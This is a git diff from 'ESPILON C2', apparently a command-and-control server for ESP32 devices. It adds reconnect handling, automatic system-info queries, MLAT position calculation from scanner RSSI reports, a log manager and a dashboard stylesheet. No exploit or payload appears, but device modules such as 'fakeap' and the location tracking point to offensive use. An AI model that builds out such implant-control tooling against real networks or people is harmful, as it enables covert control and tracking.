if not device:
|
||||||
device = Device(
|
device = Device(
|
||||||
@ -73,11 +74,63 @@ class Transport:
|
|||||||
)
|
)
|
||||||
self.registry.add(device)
|
self.registry.add(device)
|
||||||
Display.device_event(device.id, f"Connected from {addr[0]}")
|
Display.device_event(device.id, f"Connected from {addr[0]}")
|
||||||
|
is_new_device = True
|
||||||
else:
|
else:
|
||||||
|
# Device reconnected with new socket - update connection info
|
||||||
|
if device.sock != sock:
|
||||||
|
try:
|
||||||
|
device.sock.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
device.sock = sock
|
||||||
|
device.address = addr
|
||||||
|
Display.device_event(device.id, f"Reconnected from {addr[0]}:{addr[1]}")
|
||||||
device.touch()
|
device.touch()
|
||||||
|
|
||||||
self._handle_agent_message(device, msg)
|
self._handle_agent_message(device, msg)
|
||||||
|
|
||||||
|
# Auto-query system_info on new device connection
|
||||||
|
if is_new_device:
|
||||||
|
self._auto_query_system_info(device)
|
||||||
|
|
||||||
|
def _auto_query_system_info(self, device: Device):
|
||||||
|
"""Send system_info command automatically when device connects."""
|
||||||
|
try:
|
||||||
|
cmd = Command()
|
||||||
|
cmd.device_id = device.id
|
||||||
|
cmd.command_name = "system_info"
|
||||||
|
cmd.request_id = f"auto-sysinfo-{device.id}"
|
||||||
|
self.send_command(device.sock, cmd)
|
||||||
|
except Exception as e:
|
||||||
|
Display.error(f"Auto system_info failed for {device.id}: {e}")
|
||||||
|
|
||||||
|
def _parse_system_info(self, device: Device, payload: str):
|
||||||
|
"""Parse system_info response and update device info."""
|
||||||
|
# Format: chip=esp32 cores=2 flash=external heap=4310096 uptime=7s modules=network,fakeap
|
||||||
|
try:
|
||||||
|
for part in payload.split():
|
||||||
|
if "=" in part:
|
||||||
|
key, value = part.split("=", 1)
|
||||||
|
if key == "chip":
|
||||||
|
device.chip = value
|
||||||
|
elif key == "modules":
|
||||||
|
device.modules = value
|
||||||
|
|
||||||
|
# Notify TUI about device info update
|
||||||
|
Display.device_event(device.id, f"INFO: {payload}")
|
||||||
|
|
||||||
|
# Send special message to update TUI title
|
||||||
|
from utils.display import Display as Disp
|
||||||
|
if Disp._tui_mode:
|
||||||
|
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||||
|
tui_bridge.post_message(TUIMessage(
|
||||||
|
msg_type=MessageType.DEVICE_INFO_UPDATED,
|
||||||
|
device_id=device.id,
|
||||||
|
payload=device.modules
|
||||||
|
))
|
||||||
|
except Exception as e:
|
||||||
|
Display.error(f"Failed to parse system_info: {e}")
|
||||||
|
|
||||||
# ==================================================
|
# ==================================================
|
||||||
# AGENT MESSAGE HANDLER
|
# AGENT MESSAGE HANDLER
|
||||||
# ==================================================
|
# ==================================================
|
||||||
@ -90,12 +143,30 @@ class Transport:
|
|||||||
payload_str = repr(msg.payload)
|
payload_str = repr(msg.payload)
|
||||||
|
|
||||||
if msg.type == AgentMsgType.AGENT_CMD_RESULT:
|
if msg.type == AgentMsgType.AGENT_CMD_RESULT:
|
||||||
if msg.request_id and self.cli:
|
# Check if this is auto system_info response
|
||||||
|
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
|
||||||
|
self._parse_system_info(device, payload_str)
|
||||||
|
elif msg.request_id and self.cli:
|
||||||
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||||
else:
|
else:
|
||||||
Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}")
|
Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}")
|
||||||
elif msg.type == AgentMsgType.AGENT_INFO:
|
elif msg.type == AgentMsgType.AGENT_INFO:
|
||||||
Display.device_event(device.id, f"INFO: {payload_str}")
|
# Check for system_info response (format: chip=... modules=...)
|
||||||
|
if "chip=" in payload_str and "modules=" in payload_str:
|
||||||
|
self._parse_system_info(device, payload_str)
|
||||||
|
return
|
||||||
|
# Check for MLAT data (format: MLAT:x;y;rssi)
|
||||||
|
elif payload_str.startswith("MLAT:") and self.cli:
|
||||||
|
mlat_data = payload_str[5:] # Remove "MLAT:" prefix
|
||||||
|
if self.cli.mlat_engine.parse_mlat_message(device.id, mlat_data):
|
||||||
|
# Recalculate position if we have enough scanners
|
||||||
|
state = self.cli.mlat_engine.get_state()
|
||||||
|
if state["scanners_count"] >= 3:
|
||||||
|
self.cli.mlat_engine.calculate_position()
|
||||||
|
else:
|
||||||
|
Display.device_event(device.id, f"MLAT: Invalid data format: {mlat_data}")
|
||||||
|
else:
|
||||||
|
Display.device_event(device.id, f"INFO: {payload_str}")
|
||||||
elif msg.type == AgentMsgType.AGENT_ERROR:
|
elif msg.type == AgentMsgType.AGENT_ERROR:
|
||||||
Display.device_event(device.id, f"ERROR: {payload_str}")
|
Display.device_event(device.id, f"ERROR: {payload_str}")
|
||||||
elif msg.type == AgentMsgType.AGENT_LOG:
|
elif msg.type == AgentMsgType.AGENT_LOG:
|
||||||
|
|||||||
3
tools/c2/log/__init__.py
Normal file
3
tools/c2/log/__init__.py
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
from .manager import LogManager
|
||||||
|
|
||||||
|
__all__ = ["LogManager"]
|
||||||
66
tools/c2/log/manager.py
Normal file
66
tools/c2/log/manager.py
Normal file
@ -0,0 +1,66 @@
|
|||||||
|
"""Log manager for storing device messages."""
|
||||||
|
|
||||||
|
import time
|
||||||
|
from typing import Dict, List, Optional
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class LogEntry:
|
||||||
|
"""A single log entry from a device."""
|
||||||
|
timestamp: float
|
||||||
|
device_id: str
|
||||||
|
msg_type: str
|
||||||
|
source: str
|
||||||
|
payload: str
|
||||||
|
request_id: Optional[str] = None
|
||||||
|
|
||||||
|
|
||||||
|
class LogManager:
|
||||||
|
"""Manages log storage for device messages."""
|
||||||
|
|
||||||
|
def __init__(self, max_entries_per_device: int = 1000):
|
||||||
|
self.max_entries = max_entries_per_device
|
||||||
|
self._logs: Dict[str, List[LogEntry]] = {}
|
||||||
|
|
||||||
|
def add(self, device_id: str, msg_type: str, source: str, payload: str, request_id: str = None):
|
||||||
|
if device_id not in self._logs:
|
||||||
|
self._logs[device_id] = []
|
||||||
|
|
||||||
|
entry = LogEntry(
|
||||||
|
timestamp=time.time(),
|
||||||
|
device_id=device_id,
|
||||||
|
msg_type=msg_type,
|
||||||
|
source=source,
|
||||||
|
payload=payload,
|
||||||
|
request_id=request_id
|
||||||
|
)
|
||||||
|
|
||||||
|
self._logs[device_id].append(entry)
|
||||||
|
|
||||||
|
if len(self._logs[device_id]) > self.max_entries:
|
||||||
|
self._logs[device_id] = self._logs[device_id][-self.max_entries:]
|
||||||
|
|
||||||
|
def get_logs(self, device_id: str, limit: int = 100) -> List[LogEntry]:
|
||||||
|
if device_id not in self._logs:
|
||||||
|
return []
|
||||||
|
return self._logs[device_id][-limit:]
|
||||||
|
|
||||||
|
def get_all_logs(self, limit: int = 100) -> List[LogEntry]:
|
||||||
|
all_entries = []
|
||||||
|
for entries in self._logs.values():
|
||||||
|
all_entries.extend(entries)
|
||||||
|
all_entries.sort(key=lambda e: e.timestamp)
|
||||||
|
return all_entries[-limit:]
|
||||||
|
|
||||||
|
def clear(self, device_id: str = None):
|
||||||
|
if device_id:
|
||||||
|
self._logs.pop(device_id, None)
|
||||||
|
else:
|
||||||
|
self._logs.clear()
|
||||||
|
|
||||||
|
def device_count(self) -> int:
|
||||||
|
return len(self._logs)
|
||||||
|
|
||||||
|
def total_entries(self) -> int:
|
||||||
|
return sum(len(entries) for entries in self._logs.values())
|
||||||
935
tools/c2/static/css/main.css
Normal file
935
tools/c2/static/css/main.css
Normal file
@ -0,0 +1,935 @@
|
|||||||
|
/* ESPILON C2 - Violet Theme */
|
||||||
|
|
||||||
|
* {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
|
|
||||||
|
:root {
|
||||||
|
/* Background colors - deep dark with violet undertones */
|
||||||
|
--bg-primary: #0a0a0f;
|
||||||
|
--bg-secondary: #12121a;
|
||||||
|
--bg-tertiary: #06060a;
|
||||||
|
--bg-elevated: #1a1a25;
|
||||||
|
|
||||||
|
/* Border colors */
|
||||||
|
--border-color: #2a2a3d;
|
||||||
|
--border-light: #3d3d55;
|
||||||
|
|
||||||
|
/* Text colors */
|
||||||
|
--text-primary: #e4e4ed;
|
||||||
|
--text-secondary: #8888a0;
|
||||||
|
--text-muted: #5a5a70;
|
||||||
|
|
||||||
|
/* Accent colors - violet palette */
|
||||||
|
--accent-primary: #a855f7;
|
||||||
|
--accent-primary-hover: #c084fc;
|
||||||
|
--accent-primary-bg: rgba(168, 85, 247, 0.15);
|
||||||
|
--accent-primary-glow: rgba(168, 85, 247, 0.4);
|
||||||
|
|
||||||
|
--accent-secondary: #818cf8;
|
||||||
|
--accent-secondary-bg: rgba(129, 140, 248, 0.15);
|
||||||
|
|
||||||
|
/* Status colors */
|
||||||
|
--status-online: #22d3ee;
|
||||||
|
--status-online-bg: rgba(34, 211, 238, 0.15);
|
||||||
|
--status-warning: #fbbf24;
|
||||||
|
--status-warning-bg: rgba(251, 191, 36, 0.15);
|
||||||
|
--status-error: #f87171;
|
||||||
|
--status-error-bg: rgba(248, 113, 113, 0.15);
|
||||||
|
--status-success: #4ade80;
|
||||||
|
--status-success-bg: rgba(74, 222, 128, 0.15);
|
||||||
|
|
||||||
|
/* Button colors */
|
||||||
|
--btn-primary: #7c3aed;
|
||||||
|
--btn-primary-hover: #8b5cf6;
|
||||||
|
--btn-secondary: #1e1e2e;
|
||||||
|
--btn-secondary-hover: #2a2a3d;
|
||||||
|
|
||||||
|
/* Gradients */
|
||||||
|
--gradient-primary: linear-gradient(135deg, #7c3aed 0%, #a855f7 100%);
|
||||||
|
--gradient-glow: radial-gradient(circle at center, var(--accent-primary-glow) 0%, transparent 70%);
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||||
|
background: var(--bg-primary);
|
||||||
|
color: var(--text-primary);
|
||||||
|
min-height: 100vh;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Header ========== */
|
||||||
|
|
||||||
|
header {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
padding: 12px 24px;
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
backdrop-filter: blur(10px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
font-size: 18px;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 2px;
|
||||||
|
background: var(--gradient-primary);
|
||||||
|
-webkit-background-clip: text;
|
||||||
|
-webkit-text-fill-color: transparent;
|
||||||
|
background-clip: text;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main-nav {
|
||||||
|
display: flex;
|
||||||
|
gap: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-link {
|
||||||
|
color: var(--text-secondary);
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 500;
|
||||||
|
padding: 8px 16px;
|
||||||
|
border-radius: 8px;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-link:hover {
|
||||||
|
color: var(--text-primary);
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-link.active {
|
||||||
|
color: var(--accent-primary);
|
||||||
|
background: var(--accent-primary-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-link.active::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
bottom: -13px;
|
||||||
|
left: 50%;
|
||||||
|
transform: translateX(-50%);
|
||||||
|
width: 20px;
|
||||||
|
height: 2px;
|
||||||
|
background: var(--accent-primary);
|
||||||
|
border-radius: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header-right {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
padding: 6px 12px;
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border-radius: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-dot {
|
||||||
|
width: 8px;
|
||||||
|
height: 8px;
|
||||||
|
background: var(--status-online);
|
||||||
|
border-radius: 50%;
|
||||||
|
box-shadow: 0 0 8px var(--status-online);
|
||||||
|
animation: pulse 2s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes pulse {
|
||||||
|
0%, 100% { opacity: 1; }
|
||||||
|
50% { opacity: 0.5; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.logout {
|
||||||
|
color: var(--text-secondary);
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 13px;
|
||||||
|
padding: 6px 12px;
|
||||||
|
border-radius: 6px;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logout:hover {
|
||||||
|
color: var(--text-primary);
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Main Content ========== */
|
||||||
|
|
||||||
|
main {
|
||||||
|
padding: 24px;
|
||||||
|
max-width: 1400px;
|
||||||
|
margin: 0 auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-header {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
margin-bottom: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-title {
|
||||||
|
font-size: 13px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-title span {
|
||||||
|
color: var(--text-primary);
|
||||||
|
font-weight: 600;
|
||||||
|
margin-left: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Cards Grid ========== */
|
||||||
|
|
||||||
|
.grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
|
||||||
|
gap: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.grid-cameras {
|
||||||
|
grid-template-columns: repeat(auto-fill, minmax(400px, 1fr));
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 12px;
|
||||||
|
overflow: hidden;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card:hover {
|
||||||
|
border-color: var(--border-light);
|
||||||
|
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header {
|
||||||
|
padding: 12px 16px;
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
font-size: 13px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header .name {
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--text-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-header .badge {
|
||||||
|
font-size: 10px;
|
||||||
|
font-weight: 600;
|
||||||
|
padding: 4px 10px;
|
||||||
|
border-radius: 12px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.badge-live {
|
||||||
|
color: var(--status-online);
|
||||||
|
background: var(--status-online-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.badge-connected {
|
||||||
|
color: var(--status-success);
|
||||||
|
background: var(--status-success-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.badge-inactive {
|
||||||
|
color: var(--status-warning);
|
||||||
|
background: var(--status-warning-bg);
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-body {
|
||||||
|
padding: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-body-image {
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
min-height: 240px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card-body-image img {
|
||||||
|
width: 100%;
|
||||||
|
height: auto;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Device Card ========== */
|
||||||
|
|
||||||
|
.device-info {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.device-row {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
font-size: 13px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.device-row .label {
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.device-row .value {
|
||||||
|
color: var(--text-primary);
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
font-size: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Empty State ========== */
|
||||||
|
|
||||||
|
.empty {
|
||||||
|
text-align: center;
|
||||||
|
padding: 80px 20px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.empty h2 {
|
||||||
|
font-size: 18px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--text-primary);
|
||||||
|
margin-bottom: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.empty p {
|
||||||
|
font-size: 14px;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Header Stats ========== */
|
||||||
|
|
||||||
|
.header-stats {
|
||||||
|
display: flex;
|
||||||
|
gap: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header-stats .stat {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header-stats .stat-value {
|
||||||
|
font-size: 24px;
|
||||||
|
font-weight: 700;
|
||||||
|
color: var(--accent-primary);
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header-stats .stat-label {
|
||||||
|
font-size: 11px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== Lain Empty State ========== */
|
||||||
|
|
||||||
|
.empty-lain {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 60vh;
|
||||||
|
text-align: center;
|
||||||
|
padding: 40px 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lain-container {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
gap: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lain-ascii {
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
font-size: 10px;
|
||||||
|
line-height: 1.2;
|
||||||
|
color: var(--accent-primary);
|
||||||
|
opacity: 0.7;
|
||||||
|
text-shadow: 0 0 10px var(--accent-primary-glow);
|
||||||
|
animation: pulse-glow 3s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes pulse-glow {
|
||||||
|
0%, 100% { opacity: 0.5; text-shadow: 0 0 10px var(--accent-primary-glow); }
|
||||||
|
50% { opacity: 0.9; text-shadow: 0 0 20px var(--accent-primary-glow), 0 0 40px var(--accent-primary-glow); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.lain-message h2 {
|
||||||
|
font-size: 20px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--text-primary);
|
||||||
|
margin-bottom: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lain-message .typing {
|
||||||
|
font-size: 14px;
|
||||||
|
color: var(--accent-secondary);
|
||||||
|
margin-bottom: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lain-message .quote {
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-style: italic;
|
||||||
|
opacity: 0.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ========== MLAT Container ========== */
|
||||||
|
|
||||||
|
.mlat-container {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr 320px;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 900px) {
|
||||||
|
.mlat-container {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* View Toggle Buttons */
|
||||||
|
.view-toggle {
|
||||||
|
display: flex;
|
||||||
|
gap: 4px;
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
padding: 4px;
|
||||||
|
border-radius: 10px;
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.view-btn {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 6px;
|
||||||
|
padding: 8px 16px;
|
||||||
|
border: none;
|
||||||
|
background: transparent;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 500;
|
||||||
|
cursor: pointer;
|
||||||
|
border-radius: 6px;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.view-btn:hover {
|
||||||
|
color: var(--text-primary);
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
}
|
||||||
|
|
||||||
|
.view-btn.active {
|
||||||
|
background: var(--accent-primary-bg);
|
||||||
|
color: var(--accent-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.view-btn svg {
|
||||||
|
opacity: 0.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
.view-btn.active svg {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Map/Plan View Wrapper */
|
||||||
|
.mlat-view-wrapper {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 12px;
|
||||||
|
overflow: hidden;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-view-wrapper::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
height: 1px;
|
||||||
|
background: var(--gradient-primary);
|
||||||
|
opacity: 0.5;
|
||||||
|
z-index: 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-view {
|
||||||
|
display: none;
|
||||||
|
height: 500px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-view.active {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Leaflet Map */
|
||||||
|
#leaflet-map {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Leaflet Dark Theme Override */
|
||||||
|
.leaflet-container {
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
font-family: inherit;
|
||||||
|
}
|
||||||
|
|
||||||
|
.leaflet-popup-content-wrapper {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
color: var(--text-primary);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.leaflet-popup-tip {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.leaflet-control-zoom {
|
||||||
|
border: 1px solid var(--border-color) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.leaflet-control-zoom a {
|
||||||
|
background: var(--bg-secondary) !important;
|
||||||
|
color: var(--text-primary) !important;
|
||||||
|
border-bottom-color: var(--border-color) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.leaflet-control-zoom a:hover {
|
||||||
|
background: var(--bg-elevated) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.leaflet-control-attribution {
|
||||||
|
background: var(--bg-secondary) !important;
|
||||||
|
color: var(--text-muted) !important;
|
||||||
|
font-size: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.leaflet-control-attribution a {
|
||||||
|
color: var(--accent-secondary) !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Plan View */
|
||||||
|
#plan-view {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
.plan-controls {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 8px;
|
||||||
|
padding: 12px 16px;
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.control-divider {
|
||||||
|
width: 1px;
|
||||||
|
height: 24px;
|
||||||
|
background: var(--border-color);
|
||||||
|
margin: 0 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toggle-btn {
|
||||||
|
opacity: 0.5;
|
||||||
|
transition: opacity 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.toggle-btn.active {
|
||||||
|
opacity: 1;
|
||||||
|
background: var(--accent-primary-bg);
|
||||||
|
color: var(--accent-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.control-label {
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--text-muted);
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 0.5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.zoom-level,
|
||||||
|
.size-display {
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
min-width: 55px;
|
||||||
|
text-align: center;
|
||||||
|
padding: 4px 8px;
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.plan-canvas-wrapper {
|
||||||
|
flex: 1;
|
||||||
|
padding: 16px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
#plan-canvas {
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
border-radius: 8px;
|
||||||
|
cursor: grab;
|
||||||
|
}
|
||||||
|
|
||||||
|
#plan-canvas:active {
|
||||||
|
cursor: grabbing;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Sidebar */
|
||||||
|
.mlat-sidebar {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-panel {
|
||||||
|
background: var(--bg-secondary);
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 12px;
|
||||||
|
padding: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-panel h3 {
|
||||||
|
font-size: 12px;
|
||||||
|
font-weight: 600;
|
||||||
|
text-transform: uppercase;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
margin-bottom: 14px;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-stat {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
font-size: 13px;
|
||||||
|
padding: 8px 0;
|
||||||
|
border-bottom: 1px solid var(--border-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-stat:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-stat .label {
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.mlat-stat .value {
|
||||||
|
color: var(--accent-primary);
|
||||||
|
font-family: 'JetBrains Mono', monospace;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.scanner-list {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 8px;
|
||||||
|
max-height: 200px;
|
||||||
|
overflow-y: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.scanner-list .empty {
|
||||||
|
padding: 20px;
|
||||||
|
text-align: center;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 13px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.scanner-item {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
padding: 10px 12px;
|
||||||
|
border-radius: 8px;
|
||||||
|
font-size: 12px;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.scanner-item:hover {
|
||||||
|
border-color: var(--border-light);
|
||||||
|
}
|
||||||
|
|
||||||
|
.scanner-item .scanner-id {
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--accent-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.scanner-item .scanner-details {
|
||||||
|
color: var(--text-muted);
|
||||||
|
